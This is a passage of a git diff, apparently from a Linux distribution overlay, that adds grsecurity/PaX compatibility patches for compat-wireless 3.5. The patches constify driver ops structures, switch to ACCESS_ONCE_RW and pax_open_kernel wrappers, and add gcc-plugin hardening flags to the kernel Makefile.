ACCESS_ONCE(ads->ds_ctl0) = 0; +- ACCESS_ONCE(ads->ds_ctl1) = ctl1; +- ACCESS_ONCE(ads->ds_ctl6) = ctl6; ++ ACCESS_ONCE_RW(ads->ds_ctl0) = 0; ++ ACCESS_ONCE_RW(ads->ds_ctl1) = ctl1; ++ ACCESS_ONCE_RW(ads->ds_ctl6) = ctl6; + return; + } + +@@ -242,7 +242,7 @@ ar9002_set_txdesc(struct ath_hw *ah, void *ds, struct ath_tx_info *i) + break; + } + +- ACCESS_ONCE(ads->ds_ctl0) = (i->pkt_len & AR_FrameLen) ++ ACCESS_ONCE_RW(ads->ds_ctl0) = (i->pkt_len & AR_FrameLen) + | (i->flags & ATH9K_TXDESC_VMF ? AR_VirtMoreFrag : 0) + | SM(i->txpower, AR_XmitPower) + | (i->flags & ATH9K_TXDESC_VEOL ? AR_VEOL : 0) +@@ -252,19 +252,19 @@ ar9002_set_txdesc(struct ath_hw *ah, void *ds, struct ath_tx_info *i) + | (i->flags & ATH9K_TXDESC_RTSENA ? AR_RTSEnable : + (i->flags & ATH9K_TXDESC_CTSENA ? AR_CTSEnable : 0)); + +- ACCESS_ONCE(ads->ds_ctl1) = ctl1; +- ACCESS_ONCE(ads->ds_ctl6) = ctl6; ++ ACCESS_ONCE_RW(ads->ds_ctl1) = ctl1; ++ ACCESS_ONCE_RW(ads->ds_ctl6) = ctl6; + + if (i->aggr == AGGR_BUF_MIDDLE || i->aggr == AGGR_BUF_LAST) + return; + +- ACCESS_ONCE(ads->ds_ctl4) = set11nPktDurRTSCTS(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ds_ctl4) = set11nPktDurRTSCTS(i->rates, 0) + | set11nPktDurRTSCTS(i->rates, 1); + +- ACCESS_ONCE(ads->ds_ctl5) = set11nPktDurRTSCTS(i->rates, 2) ++ ACCESS_ONCE_RW(ads->ds_ctl5) = set11nPktDurRTSCTS(i->rates, 2) + | set11nPktDurRTSCTS(i->rates, 3); + +- ACCESS_ONCE(ads->ds_ctl7) = set11nRateFlags(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ds_ctl7) = set11nRateFlags(i->rates, 0) + | set11nRateFlags(i->rates, 1) + | set11nRateFlags(i->rates, 2) + | set11nRateFlags(i->rates, 3) +diff --git a/drivers/net/wireless/ath/ath9k/ar9003_mac.c b/drivers/net/wireless/ath/ath9k/ar9003_mac.c +index a66a13b..0ef399e 100644 +--- a/drivers/net/wireless/ath/ath9k/ar9003_mac.c ++++ b/drivers/net/wireless/ath/ath9k/ar9003_mac.c +@@ -39,47 +39,47 @@ ar9003_set_txdesc(struct ath_hw *ah, void *ds, struct ath_tx_info *i) + (i->qcu << AR_TxQcuNum_S) | desc_len; + + checksum += val; +- ACCESS_ONCE(ads->info) = val; ++ ACCESS_ONCE_RW(ads->info) = val; + + checksum += i->link; +- ACCESS_ONCE(ads->link) = i->link; ++ ACCESS_ONCE_RW(ads->link) = i->link; + + checksum += i->buf_addr[0]; +- ACCESS_ONCE(ads->data0) = i->buf_addr[0]; ++ ACCESS_ONCE_RW(ads->data0) = i->buf_addr[0]; + checksum += i->buf_addr[1]; +- ACCESS_ONCE(ads->data1) = i->buf_addr[1]; ++ ACCESS_ONCE_RW(ads->data1) = i->buf_addr[1]; + checksum += i->buf_addr[2]; +- ACCESS_ONCE(ads->data2) = i->buf_addr[2]; ++ ACCESS_ONCE_RW(ads->data2) = i->buf_addr[2]; + checksum += i->buf_addr[3]; +- ACCESS_ONCE(ads->data3) = i->buf_addr[3]; ++ ACCESS_ONCE_RW(ads->data3) = i->buf_addr[3]; + + checksum += (val = (i->buf_len[0] << AR_BufLen_S) & AR_BufLen); +- ACCESS_ONCE(ads->ctl3) = val; ++ ACCESS_ONCE_RW(ads->ctl3) = val; + checksum += (val = (i->buf_len[1] << AR_BufLen_S) & AR_BufLen); +- ACCESS_ONCE(ads->ctl5) = val; ++ ACCESS_ONCE_RW(ads->ctl5) = val; + checksum += (val = (i->buf_len[2] << AR_BufLen_S) & AR_BufLen); +- ACCESS_ONCE(ads->ctl7) = val; ++ ACCESS_ONCE_RW(ads->ctl7) = val; + checksum += (val = (i->buf_len[3] << AR_BufLen_S) & AR_BufLen); +- ACCESS_ONCE(ads->ctl9) = val; ++ ACCESS_ONCE_RW(ads->ctl9) = val; + + checksum = (u16) (((checksum & 0xffff) + (checksum >> 16)) & 0xffff); +- ACCESS_ONCE(ads->ctl10) = checksum; ++ ACCESS_ONCE_RW(ads->ctl10) = checksum; + + if (i->is_first || i->is_last) { +- ACCESS_ONCE(ads->ctl13) = set11nTries(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ctl13) = set11nTries(i->rates, 0) + | set11nTries(i->rates, 1) + | set11nTries(i->rates, 2) + | set11nTries(i->rates, 3) + | (i->dur_update ? AR_DurUpdateEna : 0) + | SM(0, AR_BurstDur); + +- ACCESS_ONCE(ads->ctl14) = set11nRate(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ctl14) = set11nRate(i->rates, 0) + | set11nRate(i->rates, 1) + | set11nRate(i->rates, 2) + | set11nRate(i->rates, 3); + } else { +- ACCESS_ONCE(ads->ctl13) = 0; +- ACCESS_ONCE(ads->ctl14) = 0; ++ ACCESS_ONCE_RW(ads->ctl13) = 0; ++ ACCESS_ONCE_RW(ads->ctl14) = 0; + } + + ads->ctl20 = 0; +@@ -89,17 +89,17 @@ ar9003_set_txdesc(struct ath_hw *ah, void *ds, struct ath_tx_info *i) + + ctl17 = SM(i->keytype, AR_EncrType); + if (!i->is_first) { +- ACCESS_ONCE(ads->ctl11) = 0; +- ACCESS_ONCE(ads->ctl12) = i->is_last ? 0 : AR_TxMore; +- ACCESS_ONCE(ads->ctl15) = 0; +- ACCESS_ONCE(ads->ctl16) = 0; +- ACCESS_ONCE(ads->ctl17) = ctl17; +- ACCESS_ONCE(ads->ctl18) = 0; +- ACCESS_ONCE(ads->ctl19) = 0; ++ ACCESS_ONCE_RW(ads->ctl11) = 0; ++ ACCESS_ONCE_RW(ads->ctl12) = i->is_last ? 0 : AR_TxMore; ++ ACCESS_ONCE_RW(ads->ctl15) = 0; ++ ACCESS_ONCE_RW(ads->ctl16) = 0; ++ ACCESS_ONCE_RW(ads->ctl17) = ctl17; ++ ACCESS_ONCE_RW(ads->ctl18) = 0; ++ ACCESS_ONCE_RW(ads->ctl19) = 0; + return; + } + +- ACCESS_ONCE(ads->ctl11) = (i->pkt_len & AR_FrameLen) ++ ACCESS_ONCE_RW(ads->ctl11) = (i->pkt_len & AR_FrameLen) + | (i->flags & ATH9K_TXDESC_VMF ? AR_VirtMoreFrag : 0) + | SM(i->txpower, AR_XmitPower) + | (i->flags & ATH9K_TXDESC_VEOL ? AR_VEOL : 0) +@@ -135,22 +135,22 @@ ar9003_set_txdesc(struct ath_hw *ah, void *ds, struct ath_tx_info *i) + val = (i->flags & ATH9K_TXDESC_PAPRD) >> ATH9K_TXDESC_PAPRD_S; + ctl12 |= SM(val, AR_PAPRDChainMask); + +- ACCESS_ONCE(ads->ctl12) = ctl12; +- ACCESS_ONCE(ads->ctl17) = ctl17; ++ ACCESS_ONCE_RW(ads->ctl12) = ctl12; ++ ACCESS_ONCE_RW(ads->ctl17) = ctl17; + +- ACCESS_ONCE(ads->ctl15) = set11nPktDurRTSCTS(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ctl15) = set11nPktDurRTSCTS(i->rates, 0) + | set11nPktDurRTSCTS(i->rates, 1); + +- ACCESS_ONCE(ads->ctl16) = set11nPktDurRTSCTS(i->rates, 2) ++ ACCESS_ONCE_RW(ads->ctl16) = set11nPktDurRTSCTS(i->rates, 2) + | set11nPktDurRTSCTS(i->rates, 3); + +- ACCESS_ONCE(ads->ctl18) = set11nRateFlags(i->rates, 0) ++ ACCESS_ONCE_RW(ads->ctl18) = set11nRateFlags(i->rates, 0) + | set11nRateFlags(i->rates, 1) + | set11nRateFlags(i->rates, 2) + | set11nRateFlags(i->rates, 3) + | SM(i->rtscts_rate, AR_RTSCTSRate); + +- ACCESS_ONCE(ads->ctl19) = AR_Not_Sounding; ++ ACCESS_ONCE_RW(ads->ctl19) = AR_Not_Sounding; + } + + static u16 ar9003_calc_ptr_chksum(struct ar9003_txc *ads) +diff --git a/drivers/net/wireless/ath/ath9k/hw.h b/drivers/net/wireless/ath/ath9k/hw.h +index e88f182..4e57f5d 100644 +--- a/drivers/net/wireless/ath/ath9k/hw.h ++++ b/drivers/net/wireless/ath/ath9k/hw.h +@@ -614,7 +614,7 @@ struct ath_hw_private_ops { + + /* ANI */ + void (*ani_cache_ini_regs)(struct ath_hw *ah); +-}; ++} __no_const; + + /** + * struct ath_hw_ops - callbacks used by hardware code and driver code +@@ -644,7 +644,7 @@ struct ath_hw_ops { + void (*antdiv_comb_conf_set)(struct ath_hw *ah, + struct ath_hw_antcomb_conf *antconf); + +-}; ++} __no_const; + + struct ath_nf_limits { + s16 max; +@@ -664,7 +664,7 @@ enum ath_cal_list { + #define AH_FASTCC 0x4 + + struct ath_hw { +- struct ath_ops reg_ops; ++ ath_ops_no_const reg_ops; + + struct ieee80211_hw *hw; + struct ath_common common; +diff --git a/drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h b/drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h +index af00e2c..ab04d34 100644 +--- a/drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h ++++ b/drivers/net/wireless/brcm80211/brcmsmac/phy/phy_int.h +@@ -545,7 +545,7 @@ struct phy_func_ptr { + void (*carrsuppr)(struct brcms_phy *); + s32 (*rxsigpwr)(struct brcms_phy *, s32); + void (*detach)(struct brcms_phy *); +-}; ++} __no_const; + + struct brcms_phy { + struct brcms_phy_pub pubpi_ro; +diff --git a/drivers/net/wireless/iwlegacy/3945-mac.c b/drivers/net/wireless/iwlegacy/3945-mac.c +index faec404..a5277f1 100644 +--- a/drivers/net/wireless/iwlegacy/3945-mac.c ++++ b/drivers/net/wireless/iwlegacy/3945-mac.c +@@ -3611,7 +3611,9 @@ il3945_pci_probe(struct pci_dev *pdev, const struct pci_device_id *ent) + */ + if (il3945_mod_params.disable_hw_scan) { + D_INFO("Disabling hw_scan\n"); +- il3945_mac_ops.hw_scan = NULL; ++ pax_open_kernel(); ++ *(void **)&il3945_mac_ops.hw_scan = NULL; ++ pax_close_kernel(); + } + + D_INFO("*** LOAD DRIVER ***\n"); +diff --git a/drivers/net/wireless/mac80211_hwsim.c b/drivers/net/wireless/mac80211_hwsim.c +index b7ce6a6..5649756 100644 +--- a/drivers/net/wireless/mac80211_hwsim.c ++++ b/drivers/net/wireless/mac80211_hwsim.c +@@ -1721,9 +1721,11 @@ static int __init init_mac80211_hwsim(void) + return -EINVAL; + + if (fake_hw_scan) { +- mac80211_hwsim_ops.hw_scan = mac80211_hwsim_hw_scan; +- mac80211_hwsim_ops.sw_scan_start = NULL; +- mac80211_hwsim_ops.sw_scan_complete = NULL; ++ pax_open_kernel(); ++ *(void **)&mac80211_hwsim_ops.hw_scan = mac80211_hwsim_hw_scan; ++ *(void **)&mac80211_hwsim_ops.sw_scan_start = NULL; ++ *(void **)&mac80211_hwsim_ops.sw_scan_complete = NULL; ++ pax_close_kernel(); + } + + spin_lock_init(&hwsim_radio_lock); +diff --git a/drivers/net/wireless/mwifiex/main.h b/drivers/net/wireless/mwifiex/main.h +index 35225e9..95e6bf9 100644 +--- a/drivers/net/wireless/mwifiex/main.h ++++ b/drivers/net/wireless/mwifiex/main.h +This needed some manual massage to work on compat-wireless +@@ -567,7 +567,7 @@ + int (*event_complete) (struct mwifiex_adapter *, struct sk_buff *); + int (*data_complete) (struct mwifiex_adapter *, struct sk_buff *); + int (*dnld_fw) (struct mwifiex_adapter *, struct mwifiex_fw_image *); +-}; ++} __no_const; + + struct mwifiex_adapter { + u8 iface_type; +diff --git a/drivers/net/wireless/rndis_wlan.c b/drivers/net/wireless/rndis_wlan.c +index d66e298..55b0a89 100644 +--- a/drivers/net/wireless/rndis_wlan.c ++++ b/drivers/net/wireless/rndis_wlan.c +@@ -1278,7 +1278,7 @@ static int set_rts_threshold(struct usbnet *usbdev, u32 rts_threshold) + + netdev_dbg(usbdev->net, "%s(): %i\n", __func__, rts_threshold); + +- if (rts_threshold < 0 || rts_threshold > 2347) ++ if (rts_threshold > 2347) + rts_threshold = 2347; + + tmp = cpu_to_le32(rts_threshold); +diff --git a/drivers/net/wireless/wl1251/wl1251.h b/drivers/net/wireless/wl1251/wl1251.h +index 9d8f581..0f6589e 100644 +--- a/drivers/net/wireless/ti/wl1251/wl1251.h ++++ b/drivers/net/wireless/ti/wl1251/wl1251.h +Special for compat-wireless: the module is in "ti" folder +@@ -266,7 +266,7 @@ struct wl1251_if_operations { + void (*reset)(struct wl1251 *wl); + void (*enable_irq)(struct wl1251 *wl); + void (*disable_irq)(struct wl1251 *wl); +-}; ++} __no_const; + + struct wl1251 { + struct ieee80211_hw *hw; +diff --git a/net/wireless/core.h b/net/wireless/core.h +index 3ac2dd0..fbe533e 100644 +--- a/net/wireless/core.h ++++ b/net/wireless/core.h +@@ -27,7 +27,7 @@ struct cfg80211_registered_device { + struct mutex mtx; + + /* rfkill support */ +- struct rfkill_ops rfkill_ops; ++ rfkill_ops_no_const rfkill_ops; + struct rfkill *rfkill; + struct work_struct rfkill_sync; + +diff --git a/net/wireless/wext-core.c b/net/wireless/wext-core.c +index af648e0..6185d3a 100644 +--- a/net/wireless/wext-core.c ++++ b/net/wireless/wext-core.c +@@ -747,8 +747,7 @@ static int ioctl_standard_iw_point(struct iw_point *iwp, unsigned int cmd, + */ + + /* Support for very large requests */ +- if ((descr->flags & IW_DESCR_FLAG_NOMAX) && +- (user_length > descr->max_tokens)) { ++ if (user_length > descr->max_tokens) { + /* Allow userspace to GET more than max so + * we can support any size GET requests. + * There is still a limit : -ENOMEM. +@@ -787,22 +786,6 @@ static int ioctl_standard_iw_point(struct iw_point *iwp, unsigned int cmd, + } + } + +- if (IW_IS_GET(cmd) && !(descr->flags & IW_DESCR_FLAG_NOMAX)) { +- /* +- * If this is a GET, but not NOMAX, it means that the extra +- * data is not bounded by userspace, but by max_tokens. Thus +- * set the length to max_tokens. This matches the extra data +- * allocation. +- * The driver should fill it with the number of tokens it +- * provided, and it may check iwp->length rather than having +- * knowledge of max_tokens. If the driver doesn't change the +- * iwp->length, this ioctl just copies back max_token tokens +- * filled with zeroes. Hopefully the driver isn't claiming +- * them to be valid data. +- */ +- iwp->length = descr->max_tokens; +- } +- + err = handler(dev, info, (union iwreq_data *) iwp, extra); + + iwp->length += essid_compat; +--- a/drivers/net/ethernet/atheros/alx/alx_sw.h ++++ b/drivers/net/ethernet/atheros/alx/alx_sw.h +Unsure about this, making alx_hw_callbacks writeable, is that SElinux conform? +@@ -326,7 +326,7 @@ + + /* Others */ + int (*get_ethtool_regs)(struct alx_hw *, void *); +-}; ++} __no_const; + + struct alx_hw { + struct alx_adapter *adpt; \ No newline at end of file diff --git a/net-wireless/compat-wireless/files/compat-wireless-3.5-grsec2.patch b/net-wireless/compat-wireless/files/compat-wireless-3.5-grsec2.patch new file mode 100644 index 00000000..b52cd6d6 --- /dev/null +++ b/net-wireless/compat-wireless/files/compat-wireless-3.5-grsec2.patch @@ -0,0 +1,33 @@ +--- drivers/net/wireless/ti/wl12xx/main.c ++++ drivers/net/wireless/ti/wl12xx/main.c +Thanks to ryao for explaining the fix on ZFS! +@@ -612,6 +612,10 @@ + } + } + ++static struct wlcore_ops wl127x_ops = { ++ .prepare_read = wl127x_prepare_read ++}; ++ + static int wl12xx_identify_chip(struct wl1271 *wl) + { + int ret = 0; +@@ -631,7 +635,8 @@ + sizeof(wl->conf.mem)); + + /* read data preparation is only needed by wl127x */ +- wl->ops->prepare_read = wl127x_prepare_read; ++ /* wl->ops->prepare_read = wl127x_prepare_read; */ ++ wl->ops = &wl127x_ops; + + break; + +@@ -650,7 +655,8 @@ + sizeof(wl->conf.mem)); + + /* read data preparation is only needed by wl127x */ +- wl->ops->prepare_read = wl127x_prepare_read; ++ /* wl->ops->prepare_read = wl127x_prepare_read; */ ++ wl->ops = &wl127x_ops; + + break; diff --git a/net-wireless/compat-wireless/files/compat-wireless-3.5.4-grsec.patch b/net-wireless/compat-wireless/files/compat-wireless-3.5.4-grsec.patch new file mode 100644 index 00000000..387f3c3c --- /dev/null +++ b/net-wireless/compat-wireless/files/compat-wireless-3.5.4-grsec.patch @@ -0,0 +1,9033 @@ +diff -rupN compat-wireless-3.5.4-1-snpc/Makefile.rej compat-wireless-3.5.4-1-snpc/Makefile.rej +--- compat-wireless-3.5.4-1-snpc/Makefile.rej 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/Makefile.rej 2012-10-15 19:11:12.829824571 +0000 +@@ -0,0 +1,196 @@ ++--- Makefile 2012-09-15 22:09:21.004897009 +0200 +++++ Makefile 2012-09-15 22:09:27.440902945 +0200 ++@@ -241,8 +241,9 @@ ++ ++ HOSTCC = gcc ++ HOSTCXX = g++ ++-HOSTCFLAGS = -Wall -Wmissing-prototypes -Wstrict-prototypes -O2 -fomit-frame-pointer ++-HOSTCXXFLAGS = -O2 +++HOSTCFLAGS = -Wall -W -Wmissing-prototypes -Wstrict-prototypes -Wno-unused-parameter -Wno-missing-field-initializers -O2 -fomit-frame-pointer -fno-delete-null-pointer-checks +++HOSTCLFAGS += $(call cc-option, -Wno-empty-body) +++HOSTCXXFLAGS = -O2 -Wall -W -fno-delete-null-pointer-checks ++ ++ # Decide whether to build built-in, modular, or both. ++ # Normally, just do built-in. ++@@ -404,8 +405,8 @@ ++ # Rules shared between *config targets and build targets ++ ++ # Basic helpers built in scripts/ ++-PHONY += scripts_basic ++-scripts_basic: +++PHONY += scripts_basic gcc-plugins +++scripts_basic: gcc-plugins ++ $(Q)$(MAKE) $(build)=scripts/basic ++ $(Q)rm -f .tmp_quiet_recordmcount ++ ++@@ -561,6 +562,56 @@ ++ KBUILD_CFLAGS += -O2 ++ endif ++ +++PLUGINCC := $(shell $(CONFIG_SHELL) $(srctree)/scripts/gcc-plugin.sh "$(HOSTCC)" "$(HOSTCXX)" "$(CC)") +++ifneq ($(PLUGINCC),) +++ifdef CONFIG_PAX_CONSTIFY_PLUGIN +++CONSTIFY_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/constify_plugin.so -DCONSTIFY_PLUGIN +++endif +++ifdef CONFIG_PAX_MEMORY_STACKLEAK +++STACKLEAK_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/stackleak_plugin.so -DSTACKLEAK_PLUGIN +++STACKLEAK_PLUGIN_CFLAGS += -fplugin-arg-stackleak_plugin-track-lowest-sp=100 +++endif +++ifdef CONFIG_KALLOCSTAT_PLUGIN +++KALLOCSTAT_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/kallocstat_plugin.so +++endif +++ifdef CONFIG_PAX_KERNEXEC_PLUGIN +++KERNEXEC_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/kernexec_plugin.so +++KERNEXEC_PLUGIN_CFLAGS += -fplugin-arg-kernexec_plugin-method=$(CONFIG_PAX_KERNEXEC_PLUGIN_METHOD) -DKERNEXEC_PLUGIN +++KERNEXEC_PLUGIN_AFLAGS := -DKERNEXEC_PLUGIN +++endif +++ifdef CONFIG_CHECKER_PLUGIN +++ifeq ($(call cc-ifversion, -ge, 0406, y), y) +++CHECKER_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/checker_plugin.so -DCHECKER_PLUGIN +++endif +++endif +++COLORIZE_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/colorize_plugin.so +++ifdef CONFIG_PAX_SIZE_OVERFLOW +++SIZE_OVERFLOW_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/size_overflow_plugin.so -DSIZE_OVERFLOW_PLUGIN +++endif +++ifdef CONFIG_PAX_LATENT_ENTROPY +++LATENT_ENTROPY_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/latent_entropy_plugin.so -DLATENT_ENTROPY_PLUGIN +++endif +++GCC_PLUGINS_CFLAGS := $(CONSTIFY_PLUGIN_CFLAGS) $(STACKLEAK_PLUGIN_CFLAGS) $(KALLOCSTAT_PLUGIN_CFLAGS) +++GCC_PLUGINS_CFLAGS += $(KERNEXEC_PLUGIN_CFLAGS) $(CHECKER_PLUGIN_CFLAGS) $(COLORIZE_PLUGIN_CFLAGS) +++GCC_PLUGINS_CFLAGS += $(SIZE_OVERFLOW_PLUGIN_CFLAGS) $(LATENT_ENTROPY_PLUGIN_CFLAGS) +++GCC_PLUGINS_AFLAGS := $(KERNEXEC_PLUGIN_AFLAGS) +++export PLUGINCC GCC_PLUGINS_CFLAGS GCC_PLUGINS_AFLAGS CONSTIFY_PLUGIN +++ifeq ($(KBUILD_EXTMOD),) +++gcc-plugins: +++ $(Q)$(MAKE) $(build)=tools/gcc +++else +++gcc-plugins: ; +++endif +++else +++gcc-plugins: +++ifeq ($(call cc-ifversion, -ge, 0405, y), y) +++ $(Q)echo "warning, your gcc installation does not support plugins, perhaps the necessary headers are missing?" +++else +++ $(Q)echo "warning, your gcc version does not support plugins, you should upgrade it to gcc 4.5 at least" +++endif +++ $(Q)echo "PAX_MEMORY_STACKLEAK and other features will be less secure" +++endif +++ ++ include $(srctree)/arch/$(SRCARCH)/Makefile ++ ++ ifdef CONFIG_READABLE_ASM ++@@ -762,6 +813,8 @@ ++ ++ # The actual objects are generated when descending, ++ # make sure no implicit rule kicks in +++$(filter-out $(init-y),$(vmlinux-deps)): KBUILD_CFLAGS += $(GCC_PLUGINS_CFLAGS) +++$(filter-out $(init-y),$(vmlinux-deps)): KBUILD_AFLAGS += $(GCC_PLUGINS_AFLAGS) ++ $(sort $(vmlinux-deps)): $(vmlinux-dirs) ; ++ ++ # Handle descending into subdirectories listed in $(vmlinux-dirs) ++@@ -771,7 +824,7 @@ ++ # Error messages still appears in the original language ++ ++ PHONY += $(vmlinux-dirs) ++-$(vmlinux-dirs): prepare scripts +++$(vmlinux-dirs): gcc-plugins prepare scripts ++ $(Q)$(MAKE) $(build)=$@ ++ ++ # Store (new) KERNELRELASE string in include/config/kernel.release ++@@ -815,6 +868,7 @@ ++ $(Q)$(MAKE) $(build)=. ++ ++ # All the preparing.. +++prepare: KBUILD_CFLAGS := $(filter-out $(GCC_PLUGINS_CFLAGS),$(KBUILD_CFLAGS)) ++ prepare: prepare0 ++ ++ # Generate some files ++@@ -922,6 +976,8 @@ ++ # using awk while concatenating to the final file. ++ ++ PHONY += modules +++modules: KBUILD_CFLAGS += $(GCC_PLUGINS_CFLAGS) +++modules: KBUILD_AFLAGS += $(GCC_PLUGINS_AFLAGS) ++ modules: $(vmlinux-dirs) $(if $(KBUILD_BUILTIN),vmlinux) modules.builtin ++ $(Q)$(AWK) '!x[$$0]++' $(vmlinux-dirs:%=$(objtree)/%/modules.order) > $(objtree)/modules.order ++ @$(kecho) ' Building modules, stage 2.'; ++@@ -937,7 +993,7 @@ ++ ++ # Target to prepare building external modules ++ PHONY += modules_prepare ++-modules_prepare: prepare scripts +++modules_prepare: gcc-plugins prepare scripts ++ ++ # Target to install modules ++ PHONY += modules_install ++@@ -994,7 +1050,7 @@ ++ MRPROPER_DIRS += include/config usr/include include/generated \ ++ arch/*/include/generated ++ MRPROPER_FILES += .config .config.old .version .old_version \ ++- include/linux/version.h \ +++ include/linux/version.h tools/gcc/size_overflow_hash.h\ ++ Module.symvers tags TAGS cscope* GPATH GTAGS GRTAGS GSYMS ++ ++ # clean - Delete most, but leave enough to build external modules ++@@ -1032,6 +1088,7 @@ ++ \( -name '*.orig' -o -name '*.rej' -o -name '*~' \ ++ -o -name '*.bak' -o -name '#*#' -o -name '.*.orig' \ ++ -o -name '.*.rej' \ +++ -o -name '.*.rej' -o -name '*.so' \ ++ -o -name '*%' -o -name '.*.cmd' -o -name 'core' \) \ ++ -type f -print | xargs rm -f ++ ++@@ -1192,6 +1249,8 @@ ++ $(module-dirs): crmodverdir $(objtree)/Module.symvers ++ $(Q)$(MAKE) $(build)=$(patsubst _module_%,%,$@) ++ +++modules: KBUILD_CFLAGS += $(GCC_PLUGINS_CFLAGS) +++modules: KBUILD_AFLAGS += $(GCC_PLUGINS_AFLAGS) ++ modules: $(module-dirs) ++ @$(kecho) ' Building modules, stage 2.'; ++ $(Q)$(MAKE) -f $(srctree)/scripts/Makefile.modpost ++@@ -1326,17 +1385,21 @@ ++ target-dir = $(if $(KBUILD_EXTMOD),$(dir $<),$(dir $@)) ++ endif ++ ++-%.s: %.c prepare scripts FORCE +++%.s: KBUILD_CFLAGS += $(GCC_PLUGINS_CFLAGS) +++%.s: KBUILD_AFLAGS += $(GCC_PLUGINS_AFLAGS) +++%.s: %.c gcc-plugins prepare scripts FORCE ++ $(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@) ++ %.i: %.c prepare scripts FORCE ++ $(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@) ++-%.o: %.c prepare scripts FORCE +++%.o: KBUILD_CFLAGS += $(GCC_PLUGINS_CFLAGS) +++%.o: KBUILD_AFLAGS += $(GCC_PLUGINS_AFLAGS) +++%.o: %.c gcc-plugins prepare scripts FORCE ++ $(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@) ++ %.lst: %.c prepare scripts FORCE ++ $(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@) ++-%.s: %.S prepare scripts FORCE +++%.s: %.S gcc-plugins prepare scripts FORCE ++ $(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@) ++-%.o: %.S prepare scripts FORCE +++%.o: %.S gcc-plugins prepare scripts FORCE ++ $(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@) ++ %.symtypes: %.c prepare scripts FORCE ++ $(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@) ++@@ -1346,11 +1409,15 @@ ++ $(cmd_crmodverdir) ++ $(Q)$(MAKE) KBUILD_MODULES=$(if $(CONFIG_MODULES),1) \ ++ $(build)=$(build-dir) ++-%/: prepare scripts FORCE +++%/: KBUILD_CFLAGS += $(GCC_PLUGINS_CFLAGS) +++%/: KBUILD_AFLAGS += $(GCC_PLUGINS_AFLAGS) +++%/: gcc-plugins prepare scripts FORCE ++ $(cmd_crmodverdir) ++ $(Q)$(MAKE) KBUILD_MODULES=$(if $(CONFIG_MODULES),1) \ ++ $(build)=$(build-dir) ++-%.ko: prepare scripts FORCE +++%.ko: KBUILD_CFLAGS += $(GCC_PLUGINS_CFLAGS) +++%.ko: KBUILD_AFLAGS += $(GCC_PLUGINS_AFLAGS) +++%.ko: gcc-plugins prepare scripts FORCE ++ $(cmd_crmodverdir) ++ $(Q)$(MAKE) KBUILD_MODULES=$(if $(CONFIG_MODULES),1) \ ++ $(build)=$(build-dir) $(@:.ko=.o) +diff -rupN compat-wireless-3.5.4-1-snpc/Makefile.~1~ compat-wireless-3.5.4-1-snpc/Makefile.~1~ +--- compat-wireless-3.5.4-1-snpc/Makefile.~1~ 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.5.4-1-snpc/Makefile.~1~ 2012-10-15 19:11:12.829824571 +0000 +@@ -0,0 +1,256 @@ ++# ++# Copyright (c) 2007-2012 Luis R. Rodriguez ++# ++# Permission to use, copy, modify, and/or distribute this software for any ++# purpose with or without fee is hereby granted, provided that the above ++# copyright notice and this permission notice appear in all copies. ++# ++# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES ++# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF ++# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ++# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES ++# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ++# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF ++# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. ++ ++export KMODDIR?= updates ++KMODDIR_ARG:= "INSTALL_MOD_DIR=$(KMODDIR)" ++ifneq ($(origin KLIB), undefined) ++KMODPATH_ARG:= "INSTALL_MOD_PATH=$(KLIB)" ++else ++export KLIB:= /lib/modules/$(shell uname -r) ++endif ++export KLIB_BUILD ?= $(KLIB)/build ++export MAKE ++ ++DESTDIR?= ++ ++ifneq ($(KERNELRELEASE),) ++ ++-include $(COMPAT_CONFIG) ++include $(COMPAT_CONFIG_CW) ++ ++NOSTDINC_FLAGS := -I$(M)/include/ \ ++ -include $(M)/include/linux/compat-2.6.h \ ++ $(CFLAGS) ++ ++obj-y := compat/ ++ ++obj-$(CONFIG_COMPAT_RFKILL) += net/rfkill/ ++ ++ifeq ($(BT),) ++obj-$(CONFIG_COMPAT_WIRELESS) += net/wireless/ net/mac80211/ ++obj-$(CONFIG_COMPAT_WIRELESS_MODULES) += drivers/net/wireless/ ++ ++obj-$(CONFIG_COMPAT_NET_USB_MODULES) += drivers/net/usb/ ++ ++obj-$(CONFIG_COMPAT_NETWORK_MODULES) += drivers/net/ethernet/atheros/ ++obj-$(CONFIG_COMPAT_NETWORK_MODULES) += drivers/net/ethernet/broadcom/ ++ ++obj-$(CONFIG_COMPAT_VAR_MODULES) += drivers/ssb/ ++obj-$(CONFIG_COMPAT_VAR_MODULES) += drivers/bcma/ ++obj-$(CONFIG_COMPAT_VAR_MODULES) += 